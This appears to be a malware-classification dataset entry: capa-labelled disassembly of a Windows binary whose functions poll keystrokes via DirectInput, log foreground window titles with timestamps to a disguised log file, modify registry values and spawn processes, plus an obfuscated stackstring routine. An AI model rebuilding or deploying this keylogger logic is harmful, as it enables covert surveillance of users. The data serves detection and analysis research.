joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000bb00
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x230
call fcn.1000f707
add esp, 4
push 0x230
xor esi, esi
mov ebx, eax
push esi
push ebx
call fcn.10016770
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
mov byte [ebx], 0
mov dword [ebp - 0x18], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
sub ecx, dword [ebp - 0x14]
mov eax, 0x10624dd3
mul ecx
shr edx, 6
mov eax, 0x88888889
mul edx
shr edx, 5
push edx
lea edx, [ebx + 2]
push 0x100253d8
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp eax, esi
je 0x1000bb89
push 0xfa
lea ecx, [ebx + 0x20]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push esi
push esi
push esi
push 1
lea edx, [ebp - 4]
push edx
lea edx, [ebp - 0xc]
lea ecx, [ebp - 8]
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
call fcn.1000bc70
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
cmp eax, esi
je 0x1000bc52
cmp byte [ebp + 0xc], 0
je 0x1000bc52
add eax, 0x230
push eax
mov dword [ebp - 0x14], eax
call fcn.1000eff4
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov dword [ebx + 0x214], ecx
mov edi, eax
mov dword [ebx + 0x218], edx
mov edx, dword [ebp - 0x10]
mov ecx, 0x8c
mov esi, ebx
add esp, 4
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 4]
push ecx
mov dword [ebp + 0xc], eax
push edx
add eax, 0x230
push eax
call fcn.10017660
mov eax, dword [ebp + 8]
add esp, 0xc
cmp dword [eax + 8], 0
jne 0x1000bc20
mov ecx, dword [eax + 4]
mov edx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
call eax
mov esi, dword [ebp + 0xc]
push ebx
call fcn.1000efff
mov eax, dword [ebp - 0x10]
add esp, 4
test eax, eax
je 0x1000bc3c
push eax
call fcn.1000fac9
add esp, 4
test esi, esi
je 0x1000bc49
push esi
call fcn.1000fac9
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 8]
cmp dword [eax + 8], esi
jne 0x1000bc23
mov ecx, dword [eax + 4]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
push 0x230
push ebx
call eax
jmp 0x1000bc23
Function at 0x1000c270
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5b4
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor eax, eax
mov ecx, 0xb6
mov esi, ebx
lea edi, [ebp - 0x5b0]
push 0x2ce
rep movsd dword es:[edi], dword [esi]
push eax
lea ecx, [ebp - 0x2d6]
push ecx
mov word [ebp - 0x2d8], ax
call fcn.10016770
add esp, 0xc
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea edx, [ebp - 0x3a0]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000c2ee
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f00a
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
push 0
lea eax, [ebp - 0x5b4]
push eax
add ecx, 0xfffffd28
push ecx
add ebx, 0x2d8
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000c2d9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x5a8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1000c350
lea eax, [ebp - 0x5a8]
push eax
lea ecx, [ebp - 0x3a0]
push ecx
lea edx, [ebp - 0x2d8]
push str._s__s
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x1000c364
lea eax, [ebp - 0x3a0]
push eax
lea ecx, [ebp - 0x2d8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x5ac]
sub eax, 0
je 0x1000c375
dec eax
jne 0x1000c382
push eax
jmp 0x1000c377
push 5
lea edi, [ebp - 0x2d8]
call fcn.1000c3a0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.1000f00a
mov esp, ebp
pop ebp
ret 8
Function at 0x1000c3a0
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa68
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push 0x208
lea eax, [ebp - 0x214]
push 0
push eax
call fcn.10016770
push 0x2e
push edi
call fcn.100107c4
mov esi, eax
add esp, 0x14
test esi, esi
jne 0x1000c3eb
xor al, al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000f00a
mov esp, ebp
pop ebp
ret 4
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x41a]
push edx
mov word [ebp - 0x41c], cx
call fcn.10016770
push 0x20
push esi
call fcn.100107c4
add esp, 0x14
push esi
test eax, eax
je 0x1000c43f
call dword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
test eax, eax
jle 0x1000c45b
cmp word [esi + eax*2], 0x20
je 0x1000c42f
dec eax
test eax, eax
jg 0x1000c421
jmp 0x1000c45b
push eax
push esi
push 0x104
lea eax, [ebp - 0x41c]
push eax
jmp 0x1000c453
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push esi
push 0x104
lea ecx, [ebp - 0x41c]
push ecx
call fcn.1000fc0e
add esp, 0x10
push 1
lea edx, [ebp - 0x214]
lea ecx, [ebp - 0x41c]
call fcn.1000c5e0
test eax, eax
je 0x1000c3d8
push 0x3e8
lea edx, [ebp - 0xa0c]
push 0
push edx
call fcn.10016770
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0xa0c]
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x208
lea edx, [ebp - 0x214]
push 0
push edx
call fcn.10016770
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x622]
push ecx
mov word [ebp - 0x624], ax
call fcn.10016770
add esp, 0x30
push 2
lea edx, [ebp - 0x624]
lea ecx, [ebp - 0xa0c]
call fcn.1000c5e0
test eax, eax
je 0x1000c3d8
push 0x104
lea edx, [ebp - 0x214]
push edx
lea eax, [ebp - 0x624]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x214]
push 0x10025a04
push ecx
call fcn.1001004b
add esp, 8
test eax, eax
jne 0x1000c557
lea edx, [ebp - 0x214]
push 0x10025a0c
push edx
call fcn.1001004b
add esp, 8
test eax, eax
jne 0x1000c557
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x1002535c
lea eax, [ebp - 0x214]
push eax
call esi
push edi
lea ecx, [ebp - 0x214]
push ecx
call esi
jmp 0x1000c55f
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40
lea edx, [ebp - 0xa50]
push 0
push edx
call fcn.10016770
add esp, 0xc
cmp dword [ebp + 8], 0
mov dword [ebp - 0xa54], 0x44
je 0x1000c58e
mov dword [ebp - 0xa4c], str.WinSta0Default
jmp 0x1000c5a1
xor eax, eax
mov dword [ebp - 0xa28], 1
mov word [ebp - 0xa24], ax
lea ecx, [ebp - 0xa64]
push ecx
lea edx, [ebp - 0xa54]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x214]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [ebp - 8]
xor ecx, ebp
mov al, 1
pop esi
call fcn.1000f00a
mov esp, ebp
pop ebp
ret 4
Function at 0x1000c5e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100266d0
push 0x10014360
mov eax, dword fs:[0]
push eax
sub esp, 0x430
mov eax, dword [0x10029210]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov edi, edx
mov dword [ebp - 0x440], SysReAllocString
mov dword [ebp - 0x434], 0
mov ebx, 0x208
push ebx
push 0
lea eax, [ebp - 0x224]
push eax
call fcn.10016770
push ebx
push 0
lea ecx, [ebp - 0x42c]
push ecx
call fcn.10016770
add esp, 0x18
mov dword [ebp - 4], 0
lea edx, [ebp - 0x438]
push edx
push 0x20019
push 0
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1000c688
mov dword [ebp - 0x434], 0xffffffff
jmp case.0x1000c695.5
mov eax, dword [ebp + 8]
dec eax
cmp eax, 6
ja case.0x1000c695.5
jmp dword [eax*4 + 0x1000c838]
mov dword [ebp - 0x430], ebx
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp + 8]
push edx
push 0
push 0
mov eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x1000c695.5
lea ecx, [ebp - 0x224]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x1000c7e4
mov dword [ebp - 0x430], ebx
lea edx, [ebp - 0x430]
push edx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp + 8]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x438]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x1000c695.5
lea esi, [ebp - 0x224]
cmp word [esi], 0
je 0x1000c75a
push ebx
push esi
push 0x104
lea eax, [ebp - 0x42c]
push eax
call fcn.10010867
push ebx
push 0x1002535c
push 0x104
lea ecx, [ebp - 0x42c]
push ecx
call fcn.10010867
add esp, 0x20
push 0
push esi
call fcn.1001048d
add esp, 8
lea esi, [eax + 2]
jmp 0x1000c717
lea edx, [ebp - 0x42c]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x1000c7e4
mov dword [ebp - 0x430], 4
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x43c]
push ecx
lea edx, [ebp + 8]
push edx
push 0
push 0
mov eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x1000c695.5
mov ecx, dword [ebp - 0x43c]
push ecx
push 0x1002514c
jmp 0x1000c7da
mov dword [ebp - 0x430], ebx
lea edx, [ebp - 0x430]
push edx
push 0
lea eax, [ebp + 8]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x438]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne case.0x1000c695.5
mov edx, dword [ebp + 8]
push edx
push str._08X
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [ebp - 0x434], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.1000c81e
mov eax, dword [ebp - 0x434]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000f00a
mov esp, ebp
pop ebp
ret 4
Function at 0x1000c860
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
cmp dword [esi + 0x428], 0
mov eax, str.AppEvents
jne 0x1000c87b
mov eax, str.Network
lea ecx, [ebp - 4]
push ecx
push 2
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [ebp - 4]
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call ebx
cmp dword [esi + 0x428], 0
mov eax, str.AppEvents
jne 0x1000c8b9
mov eax, str.Network
lea ecx, [ebp - 4]
push ecx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1000c8fc
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 4]
add eax, eax
push eax
push esi
push 3
push 0
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1000c8fc
mov eax, dword [ebp - 4]
push eax
call ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
push ecx
call ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000c910
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x1fe
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [ebp - 0x260]
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0x260]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
push esi
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1000d610
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov edx, dword [edi + 0x3c]
mov esi, dword [ecx + eax + 0x20]
dec edx
lea ecx, [ecx + eax + 0x18]
not edx
and edx, esi
mov dword [ebp - 0x1c], esi
mov esi, dword [ecx + 0x10]
mov dword [ebp - 0x18], edx
test esi, esi
jne 0x1000d653
mov ebx, dword [ecx + 0x24]
test bl, 0x40
je 0x1000d64c
mov esi, dword [eax + 0x20]
jmp 0x1000d653
test bl, bl
jns 0x1000d653
mov esi, dword [eax + 0x24]
mov dword [ebp - 0x14], esi
mov esi, dword [ecx + 0x24]
mov dword [ebp - 0x10], esi
mov esi, 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 1
cmp si, word [eax + 6]
jae 0x1000d720
lea ebx, [ecx + 0x4c]
lea esp, [esp]
mov esi, dword [edi + 0x3c]
mov ecx, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
dec esi
not esi
and esi, ecx
mov dword [ebp - 4], ecx
test edi, edi
jne 0x1000d6a8
mov ecx, dword [ebx]
test cl, 0x40
je 0x1000d6a1
mov edi, dword [eax + 0x20]
jmp 0x1000d6a8
test cl, cl
jns 0x1000d6a8
mov edi, dword [eax + 0x24]
cmp edx, esi
je 0x1000d6d7
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
cmp eax, esi
ja 0x1000d6d7
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.1000d560
test eax, eax
je 0x1000d73e
mov edx, dword [ebp - 4]
mov eax, dword [ebx]
mov dword [ebp - 0x1c], edx
mov edx, esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], eax
jmp 0x1000d6ff
mov eax, dword [ebx]
test eax, 0x2000000
je 0x1000d6ee
test dword [ebp - 0x10], 0x2000000
je 0x1000d6ee
or dword [ebp - 0x10], eax
jmp 0x1000d6f9
or eax, dword [ebp - 0x10]
and eax, 0xfdffffff
mov dword [ebp - 0x10], eax
sub edi, dword [ebp - 0x1c]
add edi, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
movzx esi, word [eax + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 0x14], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], ecx
cmp ecx, esi
jl 0x1000d680
lea ecx, [ebp - 0x1c]
mov eax, edi
mov dword [ebp - 0xc], 1
call fcn.1000d560
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000e480
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x1000e4af
cmp dword [0x10031218], eax
jne 0x1000e4af
push eax
push eax
push eax
push 0x1000df10
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x10031218], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop ebp
ret 0xc

Function at 0x1000e4c0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x1000df10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
ret
Function at 0x1000e4f0
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 0x10030d80
push 0
push 0
push 0x23
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.DisplaySessionContainers.log
push 0x10030d80
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x10030d80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0xffffffffffffffff
push eax
mov dword [0x1003122c], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x10030d80
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, 0x3200000
jbe 0x1000e590
push 0x10030d80
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [0x1003122c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [ebx]
xor esi, esi
push esi
push 0x10031220
push 0x10024934
push 0x800
push edx
call dword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x1000e5cf
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
mov eax, dword [0x10031220]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
push esi
push 0x10031224
push 0x10024954
push eax
call edx
test eax, eax
js 0x1000e5bc
mov eax, dword [0x10031224]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push 0x1002491c
push eax
call edx
test eax, eax
js 0x1000e5bc
mov eax, dword [0x10031224]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
mov ecx, dword [eax]
push 0xa
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
js 0x1000e5bc
mov eax, dword [0x10031224]
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x18], 0x14
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], 0x3c
mov ecx, dword [eax]
push 1
push eax
mov eax, dword [ecx + 0x18]
call eax
test eax, eax
js 0x1000e5bc
mov eax, dword [0x10031224]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1c]
push eax
call edx
test eax, eax
js 0x1000e5bc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x14
mov dword [0x10031f08], eax
call dword [sym.imp.USER32.dll_GetKeyState]
movzx eax, ax
cmp ax, 0xff81
je 0x1000e68d
mov dword [0x100316e4], esi
cmp ax, 1
jne 0x1000e697
mov dword [0x100316e4], 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
Function at 0x1000e6b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1003122c]
push esi
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 2
push 4
push 0
push 2
push 0x40000000
push 0x10030d80
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000e724
push 2
push 0
push 0
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1003122c]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000e730
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x800
push 0
push 0x100316f0
call fcn.10016770
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x800
push 0x100316f0
push eax
mov dword [0x100316ec], eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x806]
push ecx
xor esi, esi
mov word [ebp - 0x808], ax
call fcn.10016770
mov edx, dword [0x100316ec]
add esp, 0xc
cmp edx, dword [0x100316e8]
je 0x1000e839
push 0x100316f0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x1000e82d
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x80c]
movzx edx, word [ebp - 0x80e]
movzx eax, word [ebp - 0x810]
push ecx
movzx ecx, word [ebp - 0x812]
push edx
movzx edx, word [ebp - 0x816]
push eax
movzx eax, word [ebp - 0x818]
push ecx
push edx
push eax
push 0x100316f0
lea ecx, [ebp - 0x808]
push 0x10025ae0
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
lea edi, [ebp - 0x808]
call fcn.1000e6b0
push 0x800
push esi
push 0x100316f0
call fcn.10016770
add esp, 0x30
mov esi, 1
mov edx, dword [0x100316ec]
mov dword [0x100316e8], edx
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
Function at 0x1000f00a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10029210]
jne 0x1000f014
repz ret
jmp fcn.10011261

Function at 0x100191fc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10013c6e
and dword [ebp - 0x14], 0
cmp dword [0x1003090c], 0
mov dword [ebp - 0x18], eax
jne 0x100192af
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10019357
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10019357
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1003090c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10030910], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10030914], eax
call edi
push eax
call esi
mov dword [0x1003091c], eax
test eax, eax
je 0x100192af
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10030918], eax
mov eax, dword [0x10030918]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10019308
cmp dword [0x1003091c], ecx
je 0x10019308
push eax
call esi
push dword [0x1003091c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10019308
test ebx, ebx
je 0x10019308
call edi
test eax, eax
je 0x100192ff
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x100192ff
test byte [ebp - 8], 1
jne 0x10019308
or dword [ebp + 0x10], 0x200000
jmp 0x1001933b
mov eax, dword [0x10030910]
cmp eax, dword [ebp - 0x18]
je 0x1001933b
push eax
call esi
test eax, eax
je 0x1001933b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1001933b
mov eax, dword [0x10030914]
cmp eax, dword [ebp - 0x18]
je 0x1001933b
push eax
call esi
test eax, eax
je 0x1001933b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1003090c]
call esi
test eax, eax
je 0x10019357
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10019359
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000f00a
leave
ret
Function at 0x4172e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
imul edi
dec esi
mov eax, 0xda
dec ebx
dec eax
mov esi, 0xff
bswap esi
rcl ebx, 0x5d
dec edx
dec edx
inc esi
sub ebx, 0xcb
sbb edx, 0xb6
and ebx, 0xd2
imul esi
bswap esi
dec edi
bswap esi
neg edi
inc ebx
not edx
dec eax
imul esi
neg esi
sbb ebx, 0x97
not esi
bswap eax
rol ebx, 0x7e
not eax
sbb esi, 0x3e
sbb edi, 0xe7
not esi
neg edx
bswap ebx
not edx
imul eax
rcr edi, 0xd7
sub eax, 0x7d
or eax, 0xa8
rol eax, 5
neg ebx
and edx, 0xcb
neg eax
add esi, 0xd5
rcr edi, 0x6e
and eax, 0x3a
rol eax, 0xbc
bswap esi
neg eax
add edx, 0xe2
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0xca
mov byte [ebp - 0x1e], 0x42
mov byte [ebp - 0x1d], 0x30
mov byte [ebp - 0x1c], 0x5b
mov byte [ebp - 0x1b], 0xe9
mov byte [ebp - 0x1a], 0xde
mov byte [ebp - 0x19], 0xfe
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0xfb
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x15], 0xdd
mov byte [ebp - 0x14], 0x58
mov byte [ebp - 0x13], 3
mov byte [ebp - 0x12], 0xf4
mov byte [ebp - 0x11], 0x22
mov byte [ebp - 0x10], 0xa4
mov byte [ebp - 0xf], 0x2b
mov byte [ebp - 0xe], 0xb1
mov byte [ebp - 0xd], 0x27
mov byte [ebp - 0xc], 1
mov byte [ebp - 0xb], 0x56
mov byte [ebp - 0xa], 0x64
mov byte [ebp - 9], 0x20
mov byte [ebp - 8], 0xf6
mov byte [ebp - 7], 0xfe
mov byte [ebp - 6], 0x8b
mov byte [ebp - 5], 0x5d
mov byte [ebp - 4], 0xd9
mov byte [ebp - 3], 0x22
mov byte [ebp - 2], 0x7f
mov byte [ebp - 1], 0xbe
mov dword [ebp - 0x24], 0x20
imul edi
dec esi
mov eax, 0xda
dec ebx
dec eax
mov esi, 0xff
bswap esi
rcl ebx, 0x5d
dec edx
dec edx
inc esi
sub ebx, 0xcb
sbb edx, 0xb6
and ebx, 0xd2
imul esi
bswap esi
dec edi
bswap esi
neg edi
inc ebx
not edx
dec eax
imul esi
neg esi
sbb ebx, 0x97
not esi
bswap eax
rol ebx, 0x7e
not eax
sbb esi, 0x3e
sbb edi, 0xe7
not esi
neg edx
bswap ebx
not edx
imul eax
rcr edi, 0xd7
sub eax, 0x7d
or eax, 0xa8
rol eax, 5
neg ebx
and edx, 0xcb
neg eax
add esi, 0xd5
rcr edi, 0x6e
and eax, 0x3a
rol eax, 0xbc
bswap esi
neg eax
add edx, 0xe2
mov eax, dword [ebp - 0x24]
push eax
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call section..nQJyW
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret